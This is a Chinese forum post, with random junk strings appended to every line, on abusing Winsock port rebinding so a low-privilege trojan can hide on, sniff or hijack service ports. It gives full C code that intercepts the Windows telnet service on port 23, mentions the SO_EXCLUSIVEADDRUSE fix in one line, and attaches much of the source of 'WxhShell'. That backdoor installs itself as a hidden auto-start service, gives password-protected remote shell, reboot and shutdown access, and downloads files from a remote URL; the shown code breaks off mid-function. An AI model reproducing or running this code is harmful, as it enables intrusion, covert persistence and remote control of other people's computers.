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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TA4>12C6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TEJn;D<1I,  
L i g7Ac,  
  saddr.sin_family = AF_INET; zv%]j0 ?  
]S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gm^j8  B  
6DkFIkS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "FD`1  
\p4>onGI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =Ff _)k  
ZYS`M?Au  
  这意味着什么?意味着可以进行如下的攻击: bm>N~DC  
{UeS_O>(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lIhP\:;S&  
g49G7sk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I3I1<}>]Z  
Yamu"#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X&LaAqlSG  
<6.aSOS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7y?aw`Sw:  
9ZJn 8ki  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @GVONluyU`  
CE5A^,EsB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &u`]Zn   
Ei HQ&u*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #zf,%IYF  
I%|,KWM  
  #include nmo<t]  
  #include `{KdmWhW  
  #include @> |3d  
  #include    &xWej2a!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c1ga{c`Z  
  int main() G+~f  
  { +,Ud 3iS  
  WORD wVersionRequested; $./&GOus  
  DWORD ret; A:$4cacu9  
  WSADATA wsaData; V|{\8&  2  
  BOOL val; P.y06^ X}A  
  SOCKADDR_IN saddr; f&L3M)T  
  SOCKADDR_IN scaddr; ~dBx<  
  int err; wi/qI(O!  
  SOCKET s; U-*`I?~=4  
  SOCKET sc; eKUP,y;[I  
  int caddsize; ~tc,p  
  HANDLE mt; !AXt6z cZ  
  DWORD tid;   b!<\#[ A4  
  wVersionRequested = MAKEWORD( 2, 2 ); drQI@sPp  
  err = WSAStartup( wVersionRequested, &wsaData ); .fgVzDR|+  
  if ( err != 0 ) { >~;= j~  
  printf("error!WSAStartup failed!\n"); V8hmfV~=]P  
  return -1; diWi0@  
  } OZR{+YrB^  
  saddr.sin_family = AF_INET; ( 5 BZZ  
   ^ 'ws/(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h-<Qj,L{W  
"h5.^5E6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /jl/SV+  
  saddr.sin_port = htons(23); MBqw{cy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xaw ~Hh)  
  { GU|(m~,`  
  printf("error!socket failed!\n"); .3'U(U  
  return -1; oLS/  
  } [gDl<6a#4  
  val = TRUE; t-i\gq^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gX|We}H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N mA6L+  
  { |{ @BH  
  printf("error!setsockopt failed!\n"); z*)kK  
  return -1; N(l  
  } $DlO<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q_)$Ha{>H,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r>ag( ^J\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =[:pm)   
kQ`p\}7_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :Vy*MPS5  
  { m%cwhH_B  
  ret=GetLastError(); FL {$9o\@  
  printf("error!bind failed!\n"); ?J@P0(M#  
  return -1; 7Ucq(,\./  
  } &Nw[J5-"k  
  listen(s,2); CjGQ  
  while(1) u[HamGxx$u  
  { 0V ZC7@  
  caddsize = sizeof(scaddr); 4(dgunP  
  //接受连接请求 mpNS}n6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?_7iL?  
  if(sc!=INVALID_SOCKET) &;naaV_2T  
  { TT oW>RP#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %i.Prckrb  
  if(mt==NULL) N;v]ypak  
  { bao"iv~z  
  printf("Thread Creat Failed!\n"); DLN zH  
  break; q+BG  
  } 3T/&T`T+c  
  } @1A.$:  
  CloseHandle(mt); '5(T0Ws/w  
  } h=4 GSU  
  closesocket(s); -zzoz x]S=  
  WSACleanup(); B- D&1gO  
  return 0; Oye6IT"  
  }   $)eS Gslz  
  DWORD WINAPI ClientThread(LPVOID lpParam) @*roW{?!  
  { U4[GA4DZ   
  SOCKET ss = (SOCKET)lpParam; 2wJa:=$  
  SOCKET sc; 7GvMKtuSK  
  unsigned char buf[4096]; k;Fxr%  
  SOCKADDR_IN saddr; [1mEdtqf*  
  long num; V`8\)FFG  
  DWORD val; c#f@v45  
  DWORD ret; x!6<7s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vY7 @1_"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X}wo$t  
  saddr.sin_family = AF_INET; 4y.qtiIP>$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &smZ;yb|'h  
  saddr.sin_port = htons(23); 8F&Y;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4peRbm  
  { /Pxny3  
  printf("error!socket failed!\n"); xE{slDl  
  return -1; yJ="dEn>i"  
  } dZox;_b  
  val = 100; {:|b,ep T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -Jf}3$Ra  
  { cbYQ';{  
  ret = GetLastError(); <kk!nsI  
  return -1; ,pY:kQ  
  } G^';9 UK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EywBT  
  { ' &3,qT  
  ret = GetLastError(); wD:2sri  
  return -1; :cf#Tpq"  
  } r@}8TE*|P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FU(2,Vl  
  { gLRDd~H  
  printf("error!socket connect failed!\n"); Omi/sKFMi  
  closesocket(sc); I9dX\w}  
  closesocket(ss); "jLC!h^N  
  return -1; w:/3%-  
  } yzMGZi`ut  
  while(1) fwiP3*j+Nn  
  { K {  FZ/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |+KwyHE`9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?\)h2oi!F5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~N2=44e  
  num = recv(ss,buf,4096,0); t .}];IJP  
  if(num>0) ~ToU._  
  send(sc,buf,num,0); do*aE  
  else if(num==0) D&@Iuo  
  break; ?bpV dm!  
  num = recv(sc,buf,4096,0); G8 q<)  
  if(num>0) Uu52uR  
  send(ss,buf,num,0); M[+#*f.T}  
  else if(num==0) Yep~C %/}  
  break; jSSEfy>^  
  } 'F#dv[N  
  closesocket(ss); B*Ey&DAV  
  closesocket(sc); AF8:bk,R  
  return 0 ; ,p#r; O<O  
  } o@7U4#E  
c%bzrYQvA;  
!{{gL=_@  
========================================================== |fIyq}{7  
f$tm<:)Y  
下边附上一个代码,,WXhSHELL T:Ovh.$  
7>f"4r_r6<  
========================================================== u:f.;?  
i]s%tEZ1  
#include "stdafx.h" Y%?*Lj|  
bdY:-8!3  
#include <stdio.h> nt+OaXe5D  
#include <string.h> ~A1!!rJX  
#include <windows.h> aj,o<J  
#include <winsock2.h> 1;DRcVyS+  
#include <winsvc.h> V#b=mp  
#include <urlmon.h> @OGG]0 J  
fUGappb  
#pragma comment (lib, "Ws2_32.lib") Zxhbnl6  
#pragma comment (lib, "urlmon.lib") YaL:6[6  
OScqf]H  
#define MAX_USER   100 // 最大客户端连接数 s2GF*{  
#define BUF_SOCK   200 // sock buffer x$bUd 9  
#define KEY_BUFF   255 // 输入 buffer =Xg/[J%  
"<{|ni}  
#define REBOOT     0   // 重启 X:I2wJDs\  
#define SHUTDOWN   1   // 关机 3Pllxq<n  
l^OflZC~  
#define DEF_PORT   5000 // 监听端口 "DA%vdu  
_Gf-s51s  
#define REG_LEN     16   // 注册表键长度 M0~%[nX  
#define SVC_LEN     80   // NT服务名长度 !_QT{H  
7 7y+ik  
// 从dll定义API N_S~&(I|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _ziSH 3(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .c ~z^6x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D/~1?p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vy7/  
P tLWFO  
// wxhshell配置信息 AFm9"mQrw  
struct WSCFG { Kvo&_:  
  int ws_port;         // 监听端口 1^2Q`~,g  
  char ws_passstr[REG_LEN]; // 口令 <nN.$4~X  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5OtdB'UITd  
  char ws_regname[REG_LEN]; // 注册表键名  oC*a;o  
  char ws_svcname[REG_LEN]; // 服务名 #{{p4/:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u '/)l}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Nh_\{ &r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 > *VvV/UU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pjX=:K|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KYtCN+vsG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -4sKB>b  
ux)*B}/xh  
}; M?UUT8,  
6% ofS8 [  
// default Wxhshell configuration $Seh4  
struct WSCFG wscfg={DEF_PORT, @+H0D"  
    "xuhuanlingzhe", l EzN   
    1, zfv@<'  
    "Wxhshell", H@Ot77(*  
    "Wxhshell", fn=A_ i  
            "WxhShell Service", ,LN^Zx*  
    "Wrsky Windows CmdShell Service", VQ| {Q}  
    "Please Input Your Password: ", %),u0:go  
  1, !C05;x8{  
  "http://www.wrsky.com/wxhshell.exe", Zfcf?&><  
  "Wxhshell.exe" i9XpP(mf  
    }; Q,^/Lm|]k  
t@9-LYbL  
// 消息定义模块 V){Io_"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r6'dEa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u*;H$&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3MFT P5~  
char *msg_ws_ext="\n\rExit."; @R50M (@W  
char *msg_ws_end="\n\rQuit."; #` gu<xlW  
char *msg_ws_boot="\n\rReboot..."; Xi) ;dcNJ  
char *msg_ws_poff="\n\rShutdown..."; N+B!AK0.  
char *msg_ws_down="\n\rSave to "; GRbbU#/=G  
"q+Z*   
char *msg_ws_err="\n\rErr!"; g.@[mf0r  
char *msg_ws_ok="\n\rOK!"; `dG;SM$T,  
RuIBOo\XL7  
char ExeFile[MAX_PATH]; BK+P  
int nUser = 0; H.4ISmXU  
HANDLE handles[MAX_USER]; ?L7DVwVa,I  
int OsIsNt; 2=n`z) R  
3PZ(Kn<  
SERVICE_STATUS       serviceStatus; T+@i;M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yq6 @R|u  
CYgokS\=,  
// 函数声明 ZxSFElDD]E  
int Install(void); <tF q^qB  
int Uninstall(void); (,#m+  
int DownloadFile(char *sURL, SOCKET wsh); a;Y:UwD9*  
int Boot(int flag); &RARK8 ^  
void HideProc(void); xS tsw5d  
int GetOsVer(void); 9QXsbd6  
int Wxhshell(SOCKET wsl); T?m@`"L,  
void TalkWithClient(void *cs); qz]qG=wmL  
int CmdShell(SOCKET sock); X+N5iT  
int StartFromService(void); GZu12\0nZ  
int StartWxhshell(LPSTR lpCmdLine); |<h}'  
$V!.z%Vgf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XV]xym~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8+}rm6Y+  
<3BGW?=WP  
// 数据结构和表定义 l3>e-kP  
SERVICE_TABLE_ENTRY DispatchTable[] = x0J W  
{ # euG$(  
{wscfg.ws_svcname, NTServiceMain}, `x/i1^/_@  
{NULL, NULL} #<b\BqYG  
}; 5)T[ha77u  
c,.@Cc2  
// 自我安装 G&^8)S@1  
int Install(void) <i</pA  
{ !>> A@3  
  char svExeFile[MAX_PATH]; 3= sBe HL  
  HKEY key; (~N?kh:  
  strcpy(svExeFile,ExeFile); S,6/X.QBv  
#J&3Zds  
// 如果是win9x系统,修改注册表设为自启动 5tpC$4m  
if(!OsIsNt) { 2I_ yUt-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'hU5]}=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )~=8Ssu  
  RegCloseKey(key); ~nU9j"$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -o%? ]S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r YKGX?y  
  RegCloseKey(key); n]$rLm%^  
  return 0; VtI`Qc jc  
    } [(x*!,=  
  } 4h|*r !  
} g]: [^p  
else { hQ<7k'V  
=bC'>qw}  
// 如果是NT以上系统,安装为系统服务 /7#e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T^|k`  
if (schSCManager!=0) w=;>  
{ uc@4fn  
  SC_HANDLE schService = CreateService %6uZb sa  
  ( 4vWiOcJF!O  
  schSCManager, sk39[9  
  wscfg.ws_svcname, A/2$~4,  
  wscfg.ws_svcdisp, jOzXyDq  
  SERVICE_ALL_ACCESS, x;yvv3-$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &Jj|+P-lY  
  SERVICE_AUTO_START, X;W0r5T  
  SERVICE_ERROR_NORMAL, TS|Bz2(  
  svExeFile, mP }<{oh`x  
  NULL, Y,0Z&6 <  
  NULL, 2H.g!( Oza  
  NULL, /}~=)QHH  
  NULL, 7yyX8p>  
  NULL Rk g8  
  ); D tZ?sG  
  if (schService!=0) @a@}xgn{  
  { _xCYh|DlQ|  
  CloseServiceHandle(schService); KF+r25uy[+  
  CloseServiceHandle(schSCManager); Tph^o^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fub04x)  
  strcat(svExeFile,wscfg.ws_svcname); V 9$T=[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |;~=^a3?q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qA!p7"m|  
  RegCloseKey(key); OJa(Gds  
  return 0; 4RVqfD  
    } jdJTOT  
  } zw15r" R  
  CloseServiceHandle(schSCManager); Cwls e-  
} H%Gz"  
} Qf^c}!I  
; &6 {c  
return 1; U$gR}8\e  
} o|h=M/  
o FP8s[B  
// 自我卸载 ugTsI~aE  
int Uninstall(void) E5rV}>(Y  
{ fV>d_6Lf}  
  HKEY key; oMg-.!6  
Gl'G;F$Y-  
if(!OsIsNt) { W/BPf{U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;]grbqXVE  
  RegDeleteValue(key,wscfg.ws_regname); 41Q 5%2  
  RegCloseKey(key); $L0sBW&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7BU7sQjs  
  RegDeleteValue(key,wscfg.ws_regname); ?HPAX  
  RegCloseKey(key); q( ~rk  
  return 0; :5&D 6  
  } 37kFbR@x  
} li3,6{S#  
} 46NuT]6/4  
else { o+=wQ$"tP  
2mzn{S)nV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P05`DX}r,  
if (schSCManager!=0) -V{"Lzrfug  
{ xkRMg2X.>9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M#o.O?.`  
  if (schService!=0) nQOdM#dP  
  { I?g}q,!]  
  if(DeleteService(schService)!=0) { IXtG 36O  
  CloseServiceHandle(schService); 8Y`g$2SZ^8  
  CloseServiceHandle(schSCManager); .kU^)H" l  
  return 0; $|g1 _;(G  
  } ~) _Nh  
  CloseServiceHandle(schService); \ZADY.ha  
  } q&z'S  
  CloseServiceHandle(schSCManager); i!}k5k*Z  
} [(x<2MTj  
} CBf[$[e  
%k4Qx5`?d  
return 1; sPZwA0%  
} @;OsHudd  
o]&q'>Rf  
// 从指定url下载文件 /jJD {  
int DownloadFile(char *sURL, SOCKET wsh) F\+AA  
{ #d,)Qe[  
  HRESULT hr; ZT!8h$SE:  
char seps[]= "/"; td7(444]  
char *token; Vxap+<m  
char *file; P _fCb  
char myURL[MAX_PATH]; w~v6=^  
char myFILE[MAX_PATH]; F hUi{`  
(K=0c 6M3=  
strcpy(myURL,sURL); %]I#]jR  
  token=strtok(myURL,seps); &zy%_U2%  
  while(token!=NULL) AVD hgJv  
  { M^oL.'  
    file=token; xP'0a  
  token=strtok(NULL,seps); Ty&1R?  
  } YSGE@  
hQx*#:ns  
GetCurrentDirectory(MAX_PATH,myFILE); +'g O%^{l  
strcat(myFILE, "\\"); BkB _?^Nv8  
strcat(myFILE, file); 5&Yt=)c\  
  send(wsh,myFILE,strlen(myFILE),0); zs]ubJC@  
send(wsh,"...",3,0); >&;J/ME  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]'Eg2(wy  
  if(hr==S_OK) zGU MH7 M  
return 0; ?:9y !Q=  
else Vv+nq_  
return 1; 7<]&pSt=  
%OgK{h  
} *O'|NQhNx>  
b>p_w%d[[J  
// 系统电源模块 -y!Dg6 A  
int Boot(int flag) :'Gn?dv|  
{ <jJ'T?,  
  HANDLE hToken; QxW+|Gt._  
  TOKEN_PRIVILEGES tkp; n(Nu  
:1qLRr  
  if(OsIsNt) { K!CVS7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5B:"$vC{=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QEqYqAGzu|  
    tkp.PrivilegeCount = 1; Mu`_^gG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WMC^G2 n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3G4WKg.^  
if(flag==REBOOT) { 1W >/4l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h?dSn:Y\?  
  return 0; heIys.p  
} D+uo gRS61  
else { v[uVAbfQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @Ik5BT  
  return 0; o`Z3}  
} aMe &4Q  
  } Vn5%%?]J  
  else { aB~k8]q.  
if(flag==REBOOT) {  m,+PYq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9J7yR}2-F  
  return 0; 5(CInl  
} YG0/e#5  
else { F>{bVPh VA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #g$I>\O<  
  return 0; \m)s"Sh.  
} %52e^,//  
} XuJyso9kA  
`m(ZX\W]  
return 1; no-";{c  
} )R `d x  
5: gpynE|  
// win9x进程隐藏模块 moFrNcso  
void HideProc(void) ;C*2Djb*n  
{ y]{b4e  
31^/9lb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xS@jV6E~  
  if ( hKernel != NULL ) 3"Oipt+  
  { 66>X$nx(z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]vcT2lr]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FYik}wH]  
    FreeLibrary(hKernel); RvA "ug.*  
  } m %+'St|qr  
gLt6u|0q  
return; oVk!C a  
} do^=Oq07$  
'g<{l&u  
// 获取操作系统版本 !8|r$mN8  
int GetOsVer(void) ES,JdImZ|  
{ Jityb}Z"  
  OSVERSIONINFO winfo; 5);"()g32  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,O.iOT0=;  
  GetVersionEx(&winfo); vRaxB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kygj" @EX  
  return 1; qYe`</  
  else Se[=$W  
  return 0; (Q `Ps /  
} !|VtI$I>x  
>nehyo:#  
// 客户端句柄模块 u$nmnd`g  
int Wxhshell(SOCKET wsl) KpG'E  
{ s!gVY!0  
  SOCKET wsh; +{6:]  
  struct sockaddr_in client; \g]rOYW  
  DWORD myID; DfkGNBY  
h3>u[cX%  
  while(nUser<MAX_USER)  nmL|v  
{ Z< C39s  
  int nSize=sizeof(client); @ajdO/?(Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WM$Z?CN%KB  
  if(wsh==INVALID_SOCKET) return 1; ]EN&EA"<  
k%-y \WM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^|U5@u_  
if(handles[nUser]==0) OPq6)(Q  
  closesocket(wsh); "_dJ4<8  
else ~P!=fU)  
  nUser++; vcy(!r  
  } [r]<~$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); # NK{]H$fd  
Q.8^F  
  return 0; _Co v>6_i  
}  .;vd  
i)'u!V  
// 关闭 socket TFbF^Kd#:d  
void CloseIt(SOCKET wsh) C]zgVbu  
{ rP6k}  
closesocket(wsh); l~f9F`~'  
nUser--; rw@N=`4P  
ExitThread(0); jt @2S  
} E>QEI;  
z&qOu8Jh  
// 客户端请求句柄 Ra~:O\Z  
void TalkWithClient(void *cs) ;%>X+/.y0  
{ x1CMW`F  
N'5DB[:c:  
  SOCKET wsh=(SOCKET)cs; RzB64  
  char pwd[SVC_LEN]; *:l$ud  
  char cmd[KEY_BUFF]; HW6Cz>WxOW  
char chr[1]; u7p:6W  
int i,j; 2<2a3'pG  
Np~qtR  
  while (nUser < MAX_USER) { h^ K>(x  
m|Z[8Tup  
if(wscfg.ws_passstr) { i-k(/Y0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7` XECIh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uxq#q1  
  //ZeroMemory(pwd,KEY_BUFF); M 8mNeh  
      i=0; Z\?!& &  
  while(i<SVC_LEN) { )pey7-P7g5  
FQJFq6l  
  // 设置超时 2NL|_W/  
  fd_set FdRead; ;ov}%t>UD  
  struct timeval TimeOut; pAEJ=Te  
  FD_ZERO(&FdRead); ~3Z(0 gujD  
  FD_SET(wsh,&FdRead); Xn<|6u  
  TimeOut.tv_sec=8; 4 >D5t)254  
  TimeOut.tv_usec=0; fG7-0 7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PO2]x:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r7)iNTQ1  
E?m W4?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .e:+Ek+  
  pwd=chr[0]; NXE1v~9V  
  if(chr[0]==0xd || chr[0]==0xa) { hn/SS  
  pwd=0; Qbj:^{`>(  
  break; P6tJo{l8w  
  } I|mxyyf  
  i++; k"FY &;G(G  
    } Lr>4~1:`  
{ lZ<'p  
  // 如果是非法用户,关闭 socket {\= NZ\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r2Q) Q  
} Lhgs|*M  
g{7?#.7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ><@& &u.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _..5G7%#%  
l?beqw:  
while(1) { Cmj `WSSa  
'ka"0~:NS{  
  ZeroMemory(cmd,KEY_BUFF); stCFLYox  
fli7Ow?M~  
      // 自动支持客户端 telnet标准   l}Vg;"1'J  
  j=0; gE!`9#..  
  while(j<KEY_BUFF) { t`4o&vsj=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qc:Sf46O  
  cmd[j]=chr[0]; a@gm r%C  
  if(chr[0]==0xa || chr[0]==0xd) { ,Hsu ;I~  
  cmd[j]=0; ~U4;YlQP  
  break; 0k|/]zfb  
  } *;(GL  
  j++; v\COl*  
    } 0h2MmI#  
[WunA,IuR  
  // 下载文件 <=~'Pd-f(  
  if(strstr(cmd,"http://")) { 5z:/d`P[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %gx>|  
  if(DownloadFile(cmd,wsh)) tgm(tDL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ngaQa-8w  
  else ),I7+rY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AzBpQb*  
  } c6pGy%T-  
  else { S4X['0rX!  
7otqGE\2  
    switch(cmd[0]) { C)s*1@af  
  :20k6)  
  // 帮助 A}n5dg0u  
  case '?': { AwGDy +  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j: B,K.:  
    break; 2HvzMo-4  
  } OBp/:]  
  // 安装 %O&C\{J  
  case 'i': { p$%g$K  
    if(Install())  PYYO-Twg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _:;j)J0  
    else d`Em) 3v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b(gcnSzM2  
    break; Fqp~1>wi  
    } s=|&NlO$  
  // 卸载 Bc y$"F|r  
  case 'r': { Z$a4@W9o  
    if(Uninstall()) zn{[]J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZZl4|  
    else ma4r/8Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5B=Wnau  
    break; 6MR S0{  
    } 6PI-"He  
  // 显示 wxhshell 所在路径 GB_ m&t  
  case 'p': { } u7&SU  
    char svExeFile[MAX_PATH]; q&wXs/$a  
    strcpy(svExeFile,"\n\r"); \it<]BN  
      strcat(svExeFile,ExeFile); ,o j\=2  
        send(wsh,svExeFile,strlen(svExeFile),0); u~d&<_Z  
    break; DK;/eZe  
    } 0CO6-&F9n  
  // 重启 TS<uBX  
  case 'b': { <ByDT$E_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IN9o$CZ:  
    if(Boot(REBOOT)) MRHkQE+K@8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P1l@K2r  
    else { #[#dc]D  
    closesocket(wsh); KBFAV&  
    ExitThread(0); gBG.3\[  
    } S\UM0G}v  
    break; +nslS:(  
    } I2=Kq{  
  // 关机 )Z 3fytY  
  case 'd': { p{Gg,.f!HM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s2ys>2k  
    if(Boot(SHUTDOWN)) i(c'94M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 57b;{kl  
    else { VI`x fmVOQ  
